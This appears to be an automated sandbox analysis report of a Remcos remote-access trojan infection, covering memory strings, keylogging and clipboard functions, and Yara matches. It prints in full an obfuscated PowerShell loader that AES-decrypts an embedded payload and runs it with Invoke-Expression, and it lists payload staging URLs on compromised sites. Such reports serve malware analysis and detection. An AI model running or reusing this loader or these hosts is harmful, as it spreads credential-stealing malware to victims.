Source: RegAsm.exe, RegAsm.exe, 00000009.00000002.2121605113.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ebuddy.com
Source: RegAsm.exe, RegAsm.exe, 00000009.00000002.2124009469.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2121605113.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.imvu.com
Source: RegAsm.exe, 00000009.00000002.2124009469.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.imvu.comata
Source: RegAsm.exe, 00000009.00000002.2121605113.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
Source: RegAsm.exe, 00000009.00000002.2121605113.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.imvu.comr
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://www.msftconnecttest.com/connecttest.txt?n=1696428304750
Source: RegAsm.exe, 00000007.00000002.2129094375.00000000010F4000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.nirsoft.net
Source: RegAsm.exe, 00000009.00000002.2121605113.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.nirsoft.net/
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=P
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaot
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaotak
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingrms
Source: powershell.exe, 00000002.00000002.2051614764.000001B1D1881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000A.00000002.3272627711.0000000004195000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3272352105.0000000005281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBjq
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: powershell.exe, 0000000A.00000002.3272627711.000000000453D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3272627711.0000000004491000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.w.org/
Source: powershell.exe, 0000000A.00000002.3272627711.00000000042E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://asociatiatraditiimaria.ro
Source: powershell.exe, 0000000A.00000002.3335508177.000000000546A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://asociatiatraditiimaria.ro/comments/feed/
Source: powershell.exe, 0000000A.00000002.3335508177.000000000546A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://asociatiatraditiimaria.ro/feed/
Source: powershell.exe, 0000000A.00000002.3272627711.00000000042E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3272352105.00000000053D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://asociatiatraditiimaria.ro/os/transportment.pfm
Source: powershell.exe, 0000000A.00000002.3335508177.000000000546A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://asociatiatraditiimaria.ro/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=
Source: powershell.exe, 0000000A.00000002.3335508177.000000000546A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://asociatiatraditiimaria.ro/wp-content/themes/astra/assets/css/minified/main.min.css?ver=4.7.2
Source: powershell.exe, 0000000A.00000002.3335508177.000000000546A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://asociatiatraditiimaria.ro/wp-content/uploads/elementor/css/post-2731.css?ver=1720763767
Source: powershell.exe, 0000000A.00000002.3335508177.000000000546A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://asociatiatraditiimaria.ro/wp-includes/css/dist/block-library/style.min.css?ver=6.6.1
Source: powershell.exe, 0000000A.00000002.3272627711.000000000453D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3272627711.0000000004491000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://asociatiatraditiimaria.ro/wp-json/
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Skype/1446_8.53.0.77?OSVer=10.0.19045.2006&ClientID=RHTiQUpX
Source: powershell.exe, 0000000A.00000002.3335508177.00000000051FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.3335508177.00000000051FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.3335508177.00000000051FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://ecs.nel.measure.office.net?TenantId=Skype&DestinationEndpoint=Edge-Prod-LAX31r5a&FrontEnd=AF
Source: powershell.exe, 0000000A.00000002.3335508177.000000000546A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Nunito
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://fp-afd-nocache.azureedge.net/apc/trans.gif?77686a33b2eafa1538ef78c3be5a5910
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://fp-afd-nocache.azureedge.net/apc/trans.gif?caa2cf97cacae25a18f577703684ee65
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://fp-afd.azurefd.us/apc/trans.gif?0cf92be82316943650f2ee723bc6949e
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://fp-afd.azurefd.us/apc/trans.gif?94fb5ac9609bcb4cda0bf8acf1827073
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://fp-vp.azureedge.net/apc/trans.gif?7e9591e308dbda599df1fc08720a72a3
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://fp-vp.azureedge.net/apc/trans.gif?c6a2869c584d2ea23c67c44abe1ec326
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://fp.msedge.net/conf/v1/asgw/fpconfig.min.json
Source: powershell.exe, 0000000A.00000002.3272627711.00000000042E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000A.00000002.3335508177.000000000546A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.0000000005445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmpg.org/xfn/11
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: RegAsm.exe	String found in binary or memory: https://login.yahoo.com/config/login
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/Converged_v22057_4HqSCTf5FFStBMz0_eIqyA2.css
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/content/js/ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOq
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2.js
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://maps.windows.com/windows-app-web-link
Source: powershell.exe, 0000000A.00000002.3272627711.000000000453D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new.quranushaiqer.org.sa
Source: powershell.exe, 0000000A.00000002.3272627711.00000000042E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfm0
Source: powershell.exe, 0000000E.00000002.3272352105.00000000053D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfml
Source: powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.00000000051FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2023-10-04-14-10-35/PreSignInSettingsConfig.json
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/dfb21df16475d4e5b2b0ba41e6c4e842c100b150.xml?OneDriveUpdate=4954a0
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/ew-preload-inline-2523c8c1505f1172be19.js
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/otel-logger-104bffe9378b8041455c.js
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-35de8a913e.css
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-async-styles.a903b7d0ab82e5bd2f8a.chunk.v7.css
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bootstrap-5e7af218e953d095fabf.js
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bundle-0debb885be07c402c948.js
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bundle-994d8943fc9264e2f8d3.css
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-fluent~left-nav-rc.ec3581b6c9e6e9985aa7.chunk.v7.js
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-forms-group~mru~officeforms-group-forms~officeforms
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-left-nav-rc.6c288f9aff9797959103.chunk.v7.js
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-mru.9ba2d4c9e339ba497e10.chunk.v7.js
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendor-bundle-1652fd8b358d589e6ec0.js
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendors~left-nav-rc.52c45571d19ede0a7005.chunk.v7.j
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendors~left-nav-rc.d918c7fc33e22b41b936.chunk.v7.c
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwaunauth-9d8bc214ac.css
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/sharedfontstyles-27fa2598d8.css
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/sharedscripts-939520eada.js
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/staticpwascripts-30998bff8f.js
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/staticstylesfabric-35c34b95e3.css
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/hero-image-desktop-f6720a4145.jpg
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/lockup-mslogo-color-78c06e8898.png
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/microsoft-365-logo-01d5ecd01a.png
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/unauth-apps-image-46596a6856.png
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/unauth-checkmark-image-1999f0bf81.png
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/versionless/officehome/thirdpartynotice.html
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_regular.woff2
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_semibold.woff2
Source: RegAsm.exe, RegAsm.exe, 00000009.00000002.2121605113.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: RegAsm.exe	String found in binary or memory: https://www.google.com/accounts/servicelogin
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: https://www.office.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719

Source: unknown	HTTPS traffic detected: 93.113.54.56:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.166.62.190:443 -> 192.168.2.5:49720 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0040A2B8 SetWindowsHookExA 0000000D,0040A2A4,00000000

4_2_0040A2B8

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,

4_2_0040B70E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004168C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,	4_2_004168C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0040987A EmptyClipboard,wcslen,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,CloseClipboard,	7_2_0040987A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004098E2 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalFix,ReadFile,GlobalUnWire,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	7_2_004098E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00406DFC EmptyClipboard,GetFileSize,GlobalAlloc,GlobalFix,ReadFile,GlobalUnWire,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	8_2_00406DFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00406E9F EmptyClipboard,strlen,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,CloseClipboard,	8_2_00406E9F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004068B5 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalFix,ReadFile,GlobalUnWire,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	9_2_004068B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004072B5 EmptyClipboard,strlen,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,CloseClipboard,	9_2_004072B5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,

4_2_0040B70E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0040A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

4_2_0040A3E0

E-Banking Fraud

Contains functionalty to change the wallpaper

Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.1b1e29723d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.1b1e29723d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3265268792.0000000000F66000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2109299164.000001B1E188F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2109299164.000001B1E269C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5684, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\sfvnspt.dat, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041C9E2 SystemParametersInfoW,

4_2_0041C9E2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi32_7244.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi32_7632.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 2.2.powershell.exe.1b1e29723d0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 2.2.powershell.exe.1b1e29723d0.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 2.2.powershell.exe.1b1e29723d0.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 2.2.powershell.exe.1b1e29723d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 2.2.powershell.exe.1b1e29723d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 2.2.powershell.exe.1b1e29723d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000002.00000002.2109299164.000001B1E188F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000002.00000002.2109299164.000001B1E269C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 4432, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 4432, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 5684, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 7244, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7632, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Potential malicious VBS script found (suspicious strings)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Dropped file: Call Terminologers183.ShellExecute("P" & Essens, forsaales, "", "", Swizzled221)

Jump to dropped file

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 3116
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 3859
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3859
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 3116	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 3859	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3859	Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI98685860701936162316809131591218CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI/cGJmqVj5jCchNUuqniccRhpmR5qMkJqyaxLjAOoZS+I6UjjzBuHKkMUIawH3bTvDj7nWJq1X++W/D0YbGXb8mznv8QaOqQP1S2jB+yDre2mYNc51z88VDp5yhLxv2jub4BAD5MQkn09gj7sFrzKiS0Lv4bbd7SWdBlNNY01HOPdZZi88uLKrHF094fRfKbDTWl6drqxh86PYBPPz5p2Ly9NFsVGPk0kub6u6Kg9MbD3UxusVGZCdUc0aq5EXDqvPaek1WSrhMDfsWP03fZTtbxI2uIb73uc20hNa8tKlWpVgQcg5yXgT1Syt4JsFjugZ9Qtq1uX/OG7aRAuR2SPi44P27EfktJtInMKpDXYHkjZS52YqNTFAu7vkn80WLfrjaKO1puSNI83KG4Gb5VMO0L0qfDKNvusZUr6nwSAndn5NEdU4kRRcVNX137D+ZBob0WbqlGLDBY6a+EMGzYtzcJ9yDU9sRHuvpnJ5c0hkwPy4DW2nC9xKyXClHpMrOAGz59KK909AdcVa3cZMI4okN0iylLC6wphikPk+n/lH8dSrmPfxXmnyxHQ6FPMQ3t7W6XvHMIHBTNK1roZfwexEEon7dKRDC0d2IrLWlyM+aSkJSwieqOUXpMZyJUm2hcsj8O2qQ6SJSSECSO9pH7mC3RTLzx/Yu4I0g+aMXaEbo7jnGZCzrsoXBRasrE5huijlM3SPVHWt7BmPHFNB5UAtl1Poeor3payTIoDvmHLQ5udJKwLQ55FOeaNJf+pmojioT+Punj9PkhiGcH6xTdE+2IrxNPE7ay7Vlrz0F+zzhORfur8P5pHWq383QgBA8DubDwQoW+2/zvvGy0+vtBVpAZBtMhKqsSHtY4fy3hgqLxKhWAneQJQ8WqLkzqUVDY9EPZtjGeMds6via1iXp+weIOrC5nUhoaj4yGoY2MoXMyeOduTv3614RUxvqvvcerqLinXXajm5YyY2gVFXVy7lQs/l3ppDJ/Er9yz3s9rYpNCLl0sEExFChP/0AEE9hA3qtQqm07KfQM7Fm/TxVhAZZQIl8WYJ4sl9VdVuOvk82qKlTC24fpX5MYkZQF4iy2oZu7+PswZNBWNr+R8IbeXGpk6YULjJIQEn49p7IIebLL4A+J83MoPUBcLr/3wfiOdRztCS5fsI1/7gWW61aBZmh9WQ5Y/PN8qrPMJKYzSp84UIHHxGLfpUuclLTYd6067KhaUF+isNYUo0YQamdLvdcnsAnB1fFVG2Z6opzbG7sqFu6AQguz584NTtWuBMlcl43XDc/g09jFmr9jk22MvT+6/1kqeSuax5g4j6g6n3MjeEp9CvY3LOjh+/KWuQr/Kbqc4JIBZhwkTcrNn4Yi2/MmJ/0v3oIfVqNNecpNoQxXyyJjgkG+362VFqQj/+ROnzXepvq3WcWkQ/CheHAW5Iw==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
